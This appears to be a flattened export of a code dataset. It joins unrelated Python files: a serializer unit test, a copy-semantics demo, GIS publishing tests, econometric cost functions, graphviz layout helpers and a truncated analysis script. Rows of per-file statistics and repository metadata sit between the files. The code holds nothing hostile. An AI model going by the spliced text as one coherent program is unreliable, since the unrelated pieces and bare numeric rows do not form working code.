"2021-06-17T15:44:00+00:00", "provider_id": "provider1", }, "should_ignore": False, "is_applied": False, "vector_clock": [ { "provider_id": "provider1", "timestamp": "2021-06-17T15:44:00+00:00", }, { "provider_id": "provider2", "timestamp": "2021-06-15T15:40:00+00:00", }, { "provider_id": "provider3", "timestamp": "2021-06-14T15:40:00+00:00", }, ], }, "item_id": "69bdd54f-4048-43ca-8aa1-529cd790098e", "vector_clock": [ { "provider_id": "provider1", "timestamp": "2021-06-17T15:44:00+00:00", }, { "provider_id": "provider2", "timestamp": "2021-06-15T15:40:00+00:00", }, { "provider_id": "provider3", "timestamp": "2021-06-14T15:40:00+00:00", }, ], "date_created": "2021-06-26T07:02:00+00:00", }, ) def test_raw_data_serializer(self): serializer = RawDataStoreJSONSerializer( metadata_serializer=self.serializer, indent=0 ) db = { "conflict_logs": [self.conflict_log], "item_changes": [self.item_change], "item_versions": [self.item_version], "sync_sessions": [self.sync_session], "items": [], } data_store = unittest.mock.MagicMock( _get_raw_db=unittest.mock.MagicMock(return_value=db) ) result = serializer.serialize(data_store=data_store) self.assertEqual( result, '{\n"conflict_logs": [\n{\n"id": "019124a5-56b4-4d05-bcde-27751cd9c7c1",\n"created_at": "2021-06-26T07:11:00+00:00",\n"resolved_at": null,\n"item_change_loser": {\n"id": "14717ffa-5f72-4d3d-91b4-2abf7ac0fdb7",\n"date_created": "2021-06-17T15:44:00+00:00",\n"operation": "Operation.INSERT",\n"change_vector_clock_item": {\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n"insert_vector_clock_item": {\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n"serialization_result": {\n"item_id": "69bdd54f-4048-43ca-8aa1-529cd790098e",\n"entity_name": "my_app_item",\n"serialized_item": ""\n},\n"should_ignore": false,\n"is_applied": false,\n"vector_clock": [\n{\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n{\n"provider_id": "provider2",\n"timestamp": "2021-06-15T15:40:00+00:00"\n},\n{\n"provider_id": "provider3",\n"timestamp": "2021-06-14T15:40:00+00:00"\n}\n]\n},\n"item_change_winner": null,\n"status": "ConflictStatus.DEFERRED",\n"conflict_type": "ConflictType.EXCEPTION_OCCURRED",\n"description": "Error!",\n"query_ids": []\n}\n],\n"item_changes": [\n{\n"id": "14717ffa-5f72-4d3d-91b4-2abf7ac0fdb7",\n"date_created": "2021-06-17T15:44:00+00:00",\n"operation": "Operation.INSERT",\n"change_vector_clock_item": {\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n"insert_vector_clock_item": {\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n"serialization_result": {\n"item_id": "69bdd54f-4048-43ca-8aa1-529cd790098e",\n"entity_name": "my_app_item",\n"serialized_item": ""\n},\n"should_ignore": false,\n"is_applied": false,\n"vector_clock": [\n{\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n{\n"provider_id": "provider2",\n"timestamp": "2021-06-15T15:40:00+00:00"\n},\n{\n"provider_id": "provider3",\n"timestamp": "2021-06-14T15:40:00+00:00"\n}\n]\n}\n],\n"item_versions": [\n{\n"current_item_change": {\n"id": "14717ffa-5f72-4d3d-91b4-2abf7ac0fdb7",\n"date_created": "2021-06-17T15:44:00+00:00",\n"operation": "Operation.INSERT",\n"change_vector_clock_item": {\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n"insert_vector_clock_item": {\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n"serialization_result": {\n"item_id": "69bdd54f-4048-43ca-8aa1-529cd790098e",\n"entity_name": "my_app_item",\n"serialized_item": ""\n},\n"should_ignore": false,\n"is_applied": false,\n"vector_clock": [\n{\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n{\n"provider_id": "provider2",\n"timestamp": "2021-06-15T15:40:00+00:00"\n},\n{\n"provider_id": "provider3",\n"timestamp": "2021-06-14T15:40:00+00:00"\n}\n]\n},\n"item_id": "69bdd54f-4048-43ca-8aa1-529cd790098e",\n"vector_clock": [\n{\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n{\n"provider_id": "provider2",\n"timestamp": "2021-06-15T15:40:00+00:00"\n},\n{\n"provider_id": "provider3",\n"timestamp": "2021-06-14T15:40:00+00:00"\n}\n],\n"date_created": "2021-06-26T07:02:00+00:00"\n}\n],\n"sync_sessions": [\n{\n"id": "d797c785-f16b-488c-adfe-79c26717ad59",\n"started_at": "2021-06-26T07:02:00+00:00",\n"ended_at": "2021-06-26T07:03:00+00:00",\n"status": "SyncSessionStatus.FINISHED",\n"source_provider_id": "other_provider",\n"target_provider_id": "provider_in_test",\n"item_changes": [\n{\n"id": "14717ffa-5f72-4d3d-91b4-2abf7ac0fdb7",\n"date_created": "2021-06-17T15:44:00+00:00",\n"operation": "Operation.INSERT",\n"change_vector_clock_item": {\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n"insert_vector_clock_item": {\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n"serialization_result": {\n"item_id": "69bdd54f-4048-43ca-8aa1-529cd790098e",\n"entity_name": "my_app_item",\n"serialized_item": ""\n},\n"should_ignore": false,\n"is_applied": false,\n"vector_clock": [\n{\n"provider_id": "provider1",\n"timestamp": "2021-06-17T15:44:00+00:00"\n},\n{\n"provider_id": "provider2",\n"timestamp": "2021-06-15T15:40:00+00:00"\n},\n{\n"provider_id": "provider3",\n"timestamp": "2021-06-14T15:40:00+00:00"\n}\n]\n}\n],\n"query_id": null\n}\n],\n"items": []\n}', )
49.529248
4,255
0.487262
1,807
17,781
4.619258
0.084117
0.059423
0.044567
0.052953
0.812987
0.787349
0.767941
0.735594
0.723134
0.675332
0
0.159542
0.36584
17,781
358
4,256
49.667598
0.580702
0
0
0.504399
0
0.002933
0.421517
0.301164
0
0
0
0
0.014663
1
0.017595
false
0
0.017595
0
0.038123
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8f5989c7920328f8ae5a0f0038c5f0c951ffd485
1,928
py
Python
python/shallow_deep_copy.py
bismog/leetcode
13b8a77045f96e7c59ddfe287481f6aaa68e564d
[ "MIT" ]
null
null
null
python/shallow_deep_copy.py
bismog/leetcode
13b8a77045f96e7c59ddfe287481f6aaa68e564d
[ "MIT" ]
null
null
null
python/shallow_deep_copy.py
bismog/leetcode
13b8a77045f96e7c59ddfe287481f6aaa68e564d
[ "MIT" ]
1
2018-08-17T07:07:15.000Z
2018-08-17T07:07:15.000Z
#!/usr/bin/python import copy mydict = {'name': 'foobar', 'data': [1, 2, 3]} copy_dict=mydict shallow_dict=copy.copy(mydict) deep_dict=copy.deepcopy(mydict) if(id(copy_dict) == id(mydict)): print 'id of copy_dict and mydict is same' else: print 'id of copy_dict and mydict is not same' if(id(copy_dict['name']) == id(mydict['name'])): print 'id["name"] of copy_dict and mydict is same' else: print 'id["name"] of copy_dict and mydict is not same' if(id(copy_dict['data']) == id(mydict['data'])): print 'id["data"] of copy_dict and mydict is same' else: print 'id["data"] of copy_dict and mydict is not same' if(id(shallow_dict) == id(mydict)): print 'id of shallow_dict and mydict is same' else: print 'id of shallow_dict and mydict is not same' if(id(shallow_dict['name']) == id(mydict['name'])): print 'id["name"] of shallow_dict and mydict is same' else: print 'id["name"] of shallow_dict and mydict is not same' if(id(shallow_dict['data']) == id(mydict['data'])): print 'id["data"] of shallow_dict and mydict is same' else: print 'id["data"] of shallow_dict and mydict is not same' if(id(deep_dict) == id(mydict)): print 'id of deep_dict and mydict is same' else: print 'id of deep_dict and mydict is not same' if(id(deep_dict['name']) == id(mydict['name'])): print 'id["name"] of deep_dict and mydict is same' else: print 'id["name"] of deep_dict and mydict is not same' if(id(deep_dict['data']) == id(mydict['data'])): print 'id["data"] of deep_dict and mydict is same' else: print 'id["data"] of deep_dict and mydict is not same' if(id(deep_dict['data'][0]) == id(mydict['data'][0])): print 'id["data"][0] of deep_dict and mydict is same' else: print 'id["data"][0] of deep_dict and mydict is not same'
29.212121
61
0.620332
317
1,928
3.66877
0.082019
0.120378
0.22356
0.257954
0.8865
0.8865
0.862425
0.862425
0.838349
0.702494
0
0.004711
0.229253
1,928
65
62
29.661538
0.777927
0.008299
0
0.222222
0
0
0.484817
0
0
0
0
0
0
0
null
null
0
0.022222
null
null
0.444444
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
10
712db17df72236b5d588292ffb5936d306b578bc
6,070
py
Python
iclientpy/test/workspace_publish/test_workspacepublish.py
SuperMap/iClientPython
5e741c1efda9b12d321909428bd5c95e22482ea7
[ "Apache-2.0" ]
28
2018-04-19T07:11:34.000Z
2022-02-24T08:31:08.000Z
iclientpy/test/workspace_publish/test_workspacepublish.py
SuperMap/iClientPython
5e741c1efda9b12d321909428bd5c95e22482ea7
[ "Apache-2.0" ]
3
2019-05-06T07:58:45.000Z
2020-11-18T21:16:38.000Z
iclientpy/test/workspace_publish/test_workspacepublish.py
SuperMap/iClientPython
5e741c1efda9b12d321909428bd5c95e22482ea7
[ "Apache-2.0" ]
8
2018-06-14T02:29:53.000Z
2020-11-03T01:36:35.000Z
from unittest import TestCase, mock from iclientpy.codingui.servicepublish import PrepareWorkspacePublish class WorkspacePublishTestCase(TestCase): def test_file_workspace(self): post_func = mock.MagicMock() wsp = PrepareWorkspacePublish(post_func, None) wsp.use_file_workspace() self.assertTrue(hasattr(wsp.workspace, 'set_path')) wsp.workspace.set_path('test') wsp.allow_edit() wsp.avaliable_service_types.RESTDATA.select() wsp.avaliable_service_types.RESTDATA.remove() wsp.avaliable_service_types.RESTMAP.select() wsp.execute() self.assertEqual(str(wsp), """{ "isDataEditable": true, "servicesTypes": [ "RESTMAP" ], "workspaceConnectionInfo": "test" }""") post_func.assert_called_once() def test_file_workspace_with_password(self): post_func = mock.MagicMock() wsp = PrepareWorkspacePublish(post_func, None) wsp.use_file_workspace_with_password() self.assertTrue(hasattr(wsp.workspace, 'set_path')) self.assertTrue(hasattr(wsp.workspace, 'set_password')) wsp.workspace.set_path('test') wsp.workspace.set_password('password') wsp.disallow_edit() wsp.avaliable_service_types.RESTMAP.select() wsp.execute() self.assertEqual(str(wsp), """{ "isDataEditable": false, "servicesTypes": [ "RESTMAP" ], "workspaceConnectionInfo": "server=test;password=password" }""") post_func.assert_called_once() def test_select_file(self): post_func = mock.MagicMock() mng = mock.MagicMock() wsp = PrepareWorkspacePublish(post_func, mng) wsp.use_file_workspace() mng.get_home_path = mock.MagicMock(return_value={'Path':'/iserver'}) world_file = mock.MagicMock() world_file.isDirectory = False world_file.name = 'world.sxwu' world_file.filePath = '/iserver/world.sxwu' mng.get_file_list = mock.MagicMock(return_value=[world_file]) explorer = wsp.workspace.get_file_explorer() explorer[0].select() self.assertEqual(str(wsp), """{ "servicesTypes": [], "workspaceConnectionInfo": "/iserver/world.sxwu" }""") def test_oracle_workspace(self): post_func = mock.MagicMock() wsp = PrepareWorkspacePublish(post_func, None) wsp.use_oracle_workspace() self.assertTrue(hasattr(wsp.workspace, 'set_server_name')) self.assertTrue(hasattr(wsp.workspace, 'set_workspace_name')) self.assertTrue(hasattr(wsp.workspace, 'set_database_name')) self.assertTrue(hasattr(wsp.workspace, 'set_username')) self.assertTrue(hasattr(wsp.workspace, 'set_password')) wsp.workspace.set_server_name('servername') wsp.workspace.set_workspace_name('workspacename') wsp.workspace.set_database_name('databasename') wsp.workspace.set_username('username') wsp.workspace.set_password('password') wsp.disallow_edit() wsp.avaliable_service_types.RESTMAP.select() wsp.execute() self.assertEqual(str(wsp), """{ "isDataEditable": false, "servicesTypes": [ "RESTMAP" ], "workspaceConnectionInfo": "type=ORACLE;server=servername;name=workspacename;database=databasename;username=username;password=password" }""") post_func.assert_called_once() def test_sql_workspace(self): post_func = mock.MagicMock() wsp = PrepareWorkspacePublish(post_func, None) wsp.use_sql_workspace() self.assertTrue(hasattr(wsp.workspace, 'set_server_name')) self.assertTrue(hasattr(wsp.workspace, 'set_workspace_name')) self.assertTrue(hasattr(wsp.workspace, 'set_database_name')) self.assertTrue(hasattr(wsp.workspace, 'set_username')) self.assertTrue(hasattr(wsp.workspace, 'set_password')) self.assertTrue(hasattr(wsp.workspace, 'set_driver')) wsp.workspace.set_server_name('servername') wsp.workspace.set_workspace_name('workspacename') wsp.workspace.set_database_name('databasename') wsp.workspace.set_username('username') wsp.workspace.set_password('password') wsp.workspace.set_driver('SQL Server') wsp.disallow_edit() wsp.avaliable_service_types.RESTMAP.select() wsp.execute() self.assertEqual(str(wsp), """{ "isDataEditable": false, "servicesTypes": [ "RESTMAP" ], "workspaceConnectionInfo": "type=SQL;server=servername;name=workspacename;database=databasename;username=username;password=password;driver=SQL Server" }""") post_func.assert_called_once() def test_pgsql_workspace(self): post_func = mock.MagicMock() wsp = PrepareWorkspacePublish(post_func, None) wsp.use_pgsql_workspace() self.assertTrue(hasattr(wsp.workspace, 'set_server_name')) self.assertTrue(hasattr(wsp.workspace, 'set_workspace_name')) self.assertTrue(hasattr(wsp.workspace, 'set_database_name')) self.assertTrue(hasattr(wsp.workspace, 'set_username')) self.assertTrue(hasattr(wsp.workspace, 'set_password')) self.assertTrue(hasattr(wsp.workspace, 'set_driver')) wsp.workspace.set_server_name('servername') wsp.workspace.set_workspace_name('workspacename') wsp.workspace.set_database_name('databasename') wsp.workspace.set_username('username') wsp.workspace.set_password('password') wsp.workspace.set_driver('pgSQL Server') wsp.disallow_edit() wsp.avaliable_service_types.RESTMAP.select() wsp.execute() self.assertEqual(str(wsp), """{ "isDataEditable": false, "servicesTypes": [ "RESTMAP" ], "workspaceConnectionInfo": "type=PGSQL;server=servername;name=workspacename;database=databasename;username=username;password=password;driver=pgSQL Server" }""") post_func.assert_called_once()
41.862069
157
0.672158
630
6,070
6.246032
0.11746
0.125032
0.152478
0.121982
0.837103
0.806099
0.776366
0.738247
0.738247
0.718424
0
0.000207
0.204778
6,070
145
158
41.862069
0.814999
0
0
0.737226
0
0.021898
0.248524
0.092796
0
0
0
0
0.226277
1
0.043796
false
0.10219
0.014599
0
0.065693
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
8532f9d2e31eb9e9d6bcaf43345f96a01931f41d
6,858
py
Python
ruspy/model_code/cost_functions.py
MaxBlesch/ruspy
5e7fb9e584c7e0d4935f4669e108bbf4e05209c6
[ "MIT" ]
13
2019-09-10T12:00:16.000Z
2022-03-19T13:30:12.000Z
ruspy/model_code/cost_functions.py
MaxBlesch/ruspy
5e7fb9e584c7e0d4935f4669e108bbf4e05209c6
[ "MIT" ]
45
2019-02-17T19:39:00.000Z
2021-08-23T17:38:40.000Z
ruspy/model_code/cost_functions.py
MaxBlesch/ruspy
5e7fb9e584c7e0d4935f4669e108bbf4e05209c6
[ "MIT" ]
9
2019-05-03T03:48:37.000Z
2022-03-19T13:30:13.000Z
import numpy as np def calc_obs_costs(num_states, maint_func, params, scale): """ Calculating the observed costs of maintenance and replacement for each state. Parameters ---------- num_states : int The size of the state space. maint_func : callable see :ref:`maint_func` params : numpy.array see :ref:`params` scale : numpy.float see :ref:`scale` Returns ------- obs_costs : numpy.array see :ref:`costs` """ rc = params[0] maint_cost = maint_func(num_states, params[1:], scale=scale) repl_cost = np.full(maint_cost.shape, rc + maint_cost[0]) obs_costs = np.vstack((maint_cost, repl_cost)).T return obs_costs def lin_cost(num_states, params, scale): """ Calculating for each state the observed costs of maintenance in the case of a linear cost function. Parameters ---------- num_states : int The size of the state space. params : numpy.array see :ref:`params` scale : numpy.float see :ref:`scale` Returns ------- costs : numpy.array A num_states sized one dimensional numpy array containing the maintenance costs for each state. """ states = np.arange(num_states) costs = states * params[0] * scale return costs def lin_cost_dev(num_states, scale): """ Calculating for each state the derivative of the linear maintenance cost function. Parameters ---------- num_states : int The size of the state space. scale : numpy.float see :ref:`scale` Returns ------- dev : numpy.array A num_states sized one dimensional numpy array containing the derivative of the linear maintenance cost function for each state. """ dev = np.arange(num_states) * scale return dev def cubic_costs(num_states, params, scale): """ Calculating for each state the observed costs of maintenance in the case of a cubic cost function. Parameters ---------- num_states : int The size of the state space. params : numpy.array see :ref:`params` scale : numpy.float see :ref:`scale` Returns ------- costs : numpy.array A num_states sized one dimensional numpy array containing the maintenance costs for each state. """ states = np.arange(num_states) costs = ( params[0] * scale * states + params[1] * scale * (states ** 2) + params[2] * scale * (states ** 3) ) return costs def cubic_costs_dev(num_states, scale): """ Calculating for each state the derivative of the cubic maintenance cost function. Parameters ---------- num_states : int The size of the state space. scale : numpy.float see :ref:`scale` Returns ------- dev : numpy.array A num_states x 3 dimensional numpy array containing the derivative of the cubic maintenance cost function for each state. """ states = np.arange(num_states) dev = np.array([states * scale, scale * (states ** 2), scale * (states ** 3)]).T return dev def quadratic_costs(num_states, params, scale): """ Calculating for each state the observed costs of maintenance in the case of a quadratic cost function. Parameters ---------- num_states : int The size of the state space. params : numpy.array see :ref:`params` scale : numpy.float see :ref:`scale` Returns ------- costs : numpy.array A num_states sized one dimensional numpy array containing the maintenance costs for each state. """ states = np.arange(num_states) costs = params[0] * scale * states + params[1] * scale * (states ** 2) return costs def quadratic_costs_dev(num_states, scale): """ Calculating for each state the derivative of the quadratic maintenance cost function. Parameters ---------- num_states : int The size of the state space. scale : numpy.float see :ref:`scale` Returns ------- dev : numpy.array A num_states x 2 dimensional numpy array containing the derivative of the quadratic maintenance cost function for each state. """ states = np.arange(num_states) dev = np.array([scale * states, scale * (states ** 2)]).T return dev def sqrt_costs(num_states, params, scale): """ Calculating for each state the observed costs of maintenance in the case of a square root cost function. Parameters ---------- num_states : int The size of the state space. params : numpy.array see :ref:`params` scale : numpy.float see :ref:`scale` Returns ------- costs : numpy.array A num_states sized one dimensional numpy array containing the maintenance costs for each state. """ states = np.arange(num_states) costs = params[0] * scale * np.sqrt(states) return costs def sqrt_costs_dev(num_states, scale): """ Calculating for each state the derivative of the square root maintenance cost function. Parameters ---------- num_states : int The size of the state space. scale : numpy.float see :ref:`scale` Returns ------- dev : numpy.array A num_states sized one dimensional numpy array containing the derivative of the square root maintenance cost function for each state. """ states = np.arange(num_states) dev = scale * np.sqrt(states) return dev def hyperbolic_costs(num_states, params, scale): """ Calculating for each state the observed costs of maintenance in the case of a hyperbolic cost function. Parameters ---------- num_states : int The size of the state space. params : numpy.array see :ref:`params` scale : numpy.float see :ref:`scale` Returns ------- costs : numpy.array A num_states sized one dimensional numpy array containing the maintenance costs for each state. """ states = np.arange(num_states) costs = params[0] * scale / ((num_states + 1) - states) return costs def hyperbolic_costs_dev(num_states, scale): """ Calculating for each state the derivative of the hyperbolic maintenance cost function. Parameters ---------- num_states : int The size of the state space. scale : numpy.float see :ref:`scale` Returns ------- dev : numpy.array A num_states sized one dimensional numpy array containing the derivative of the hyperbolic maintenance cost function for each state. """ states = np.arange(num_states) dev = scale / ((num_states + 1) - states) return dev
24.319149
87
0.618839
869
6,858
4.797468
0.075949
0.097146
0.060446
0.058047
0.846966
0.831374
0.817942
0.817942
0.774526
0.769729
0
0.004282
0.284923
6,858
281
88
24.405694
0.84584
0.612423
0
0.38
0
0
0
0
0
0
0
0
0
1
0.22
false
0
0.02
0
0.46
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
853c913d5d2fc825121ab579000d14c5d77c7518
84
py
Python
Package_Portfolio/pointdistance/__init__.py
rezaabdullah/data_science_portfolio
29ccb3409441d44696eb24b9191e4d7b1810b6bf
[ "Apache-2.0" ]
null
null
null
Package_Portfolio/pointdistance/__init__.py
rezaabdullah/data_science_portfolio
29ccb3409441d44696eb24b9191e4d7b1810b6bf
[ "Apache-2.0" ]
null
null
null
Package_Portfolio/pointdistance/__init__.py
rezaabdullah/data_science_portfolio
29ccb3409441d44696eb24b9191e4d7b1810b6bf
[ "Apache-2.0" ]
null
null
null
from .PointDistance import GeodesicPoints from .PointDistance import EuclideanPoints
42
42
0.892857
8
84
9.375
0.625
0.453333
0.613333
0
0
0
0
0
0
0
0
0
0.083333
84
2
42
42
0.974026
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
85936a3cfa5243381e750208bc634a474cba4384
175
py
Python
acceptance_tests/app/models_graph.py
camptocamp/c2cwsgiutils
7f99937ccebc31c8e97c58de3819458eb9d6435e
[ "BSD-2-Clause-FreeBSD" ]
5
2017-06-25T07:50:57.000Z
2019-01-25T16:49:57.000Z
acceptance_tests/app/models_graph.py
camptocamp/c2cwsgiutils
7f99937ccebc31c8e97c58de3819458eb9d6435e
[ "BSD-2-Clause-FreeBSD" ]
200
2017-02-01T15:13:38.000Z
2022-03-31T21:29:54.000Z
acceptance_tests/app/models_graph.py
camptocamp/c2cwsgiutils
7f99937ccebc31c8e97c58de3819458eb9d6435e
[ "BSD-2-Clause-FreeBSD" ]
4
2019-07-08T12:28:19.000Z
2020-06-10T02:44:35.000Z
#!/usr/bin/env python3 from c2cwsgiutils_app import models from c2cwsgiutils.models_graph import generate_model_graph def main(): generate_model_graph(models) main()
14.583333
58
0.794286
24
175
5.541667
0.583333
0.240602
0.270677
0
0
0
0
0
0
0
0
0.019737
0.131429
175
11
59
15.909091
0.855263
0.12
0
0
1
0
0
0
0
0
0
0
0
1
0.2
true
0
0.4
0
0.6
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
a47aefb0e1a4981894f5bbb392270fbc652aae50
3,252
py
Python
NorthNet/network_visualisation/layouts.py
Will-Robin/NorthNet
343238afbefd02b7255ef6013cbfb0e801bc2b3b
[ "BSD-3-Clause" ]
null
null
null
NorthNet/network_visualisation/layouts.py
Will-Robin/NorthNet
343238afbefd02b7255ef6013cbfb0e801bc2b3b
[ "BSD-3-Clause" ]
2
2022-02-23T12:03:32.000Z
2022-02-23T14:27:29.000Z
NorthNet/network_visualisation/layouts.py
Will-Robin/NorthNet
343238afbefd02b7255ef6013cbfb0e801bc2b3b
[ "BSD-3-Clause" ]
null
null
null
def graphviz_layout_NorthNet(network, render_engine = 'fdp'): ''' Uses graphviz to generate a layout from a NorthNet Network. Layouts from the graphviz documentation: dot − filter for drawing directed graphs neato − filter for drawing undirected graphs twopi − filter for radial layouts of graphs circo − filter for circular layout of graphs fdp − filter for drawing undirected graphs sfdp − filter for drawing large undirected graphs patchwork − filter for squarified tree maps osage − filter for array-based layouts Parameters ---------- network: NorthNet Network object NorthNet Network to be represented. render_engine: str Layout render engine for graphviz. Returns ------- pos: dict Compounds SMILES and Reaction SMILES are keys to their positions. {SMILES:[float(x),float(y)]} ''' import json from graphviz import Digraph # Create a graph with graphviz to plot a scheme of the network dot = Digraph(comment = '', engine = render_engine, strict = 'True', format = 'json') for n in network.NetworkCompounds: dot.node(n,n) for r in network.NetworkReactions: # Create edges between the nodes. reactants = network.NetworkReactions[r].Reactants products = network.NetworkReactions[r].Products dot.node(r, r) for reac in network.NetworkReactions[r].Reactants: dot.edge(reac,r) for p in network.NetworkReactions[r].Products: dot.edge(r,p) json_string = dot.pipe().decode() y = json.loads(json_string) pos = {} for o in y['objects']: pos[o['name']] = [float(x) for x in o['pos'].split(',')] return pos def graphviz_layout_networkx(network, render_engine = 'fdp'): ''' Uses graphviz to generate a layout from a networkx graph. Layouts from the graphviz documentation: dot − filter for drawing directed graphs neato − filter for drawing undirected graphs twopi − filter for radial layouts of graphs circo − filter for circular layout of graphs fdp − filter for drawing undirected graphs sfdp − filter for drawing large undirected graphs patchwork − filter for squarified tree maps osage − filter for array-based layouts Parameters ---------- network: Networkx DiGraph Network to be represented. render_engine: str Layout render engine for graphviz. Returns ------- pos: dict Compounds SMILES and Reaction SMILES are keys to their positions. {SMILES:[float(x),float(y)]} ''' import json from graphviz import Digraph # Create a graph with graphviz to plot a scheme of the network dot = Digraph(comment = '', engine=render_engine, strict = 'True', format = 'json') for n in network.nodes: # add in nodes dot.node(n,n) for e in network.edges: # Create edges between the nodes. dot.edge(e[0],e[1]) json_string = dot.pipe().decode() y = json.loads(json_string) pos = {} for o in y['objects']: pos[o['name']] = [float(x) for x in o['pos'].split(',')] return pos
29.563636
73
0.638684
431
3,252
4.823666
0.227378
0.053872
0.07696
0.065416
0.842713
0.772487
0.772487
0.772487
0.772487
0.772487
0
0.000845
0.272448
3,252
109
74
29.834862
0.87109
0.508303
0
0.526316
1
0
0.037037
0
0
0
0
0
0
1
0.052632
false
0
0.105263
0
0.210526
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
74e5fb360521c1227701e92392714b32732d6dd1
15,489
py
Python
make_msd_vac_fileLists.py
sagarsetru/msd_analysis_floA_floT
9e880d4a107fef44063faec7de32ea38175782ef
[ "MIT" ]
null
null
null
make_msd_vac_fileLists.py
sagarsetru/msd_analysis_floA_floT
9e880d4a107fef44063faec7de32ea38175782ef
[ "MIT" ]
null
null
null
make_msd_vac_fileLists.py
sagarsetru/msd_analysis_floA_floT
9e880d4a107fef44063faec7de32ea38175782ef
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Jan 23 12:25:34 2020 @author: sagarsetru """ import os startDir = '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis' os.chdir(startDir) #dirs_all = [ #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/m+LBO2', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/m-LBO2', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mAmp', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mCtrlAmp', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mBnz', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mCtrlBNZ', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mEPI_MAD', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mEPI_WU', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mFos', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mCtrlFos', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mNis', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mCtrlNis', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mProtoplasts', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mCtrlProtoplasts', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mTIRF100-0.2', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mTIRF35-0.3', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mTun', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mCtrlTun', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/sCtrlTunWTA', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mVal', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mCtrlVal', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mVan', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mCtrlVan', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/m∆dlt', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mCtrl∆dlt', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/m∆mreB', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/m∆mreB:BH:mbl', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/s∆rsgI', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/s∆rsgI-2', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/sCtrl∆rsgI-2', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/m∆pbpC', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/mCtrl∆pbpC', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/sDMSO', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/sCtrlDMSO', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/sTunWTA', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/spH8.1', 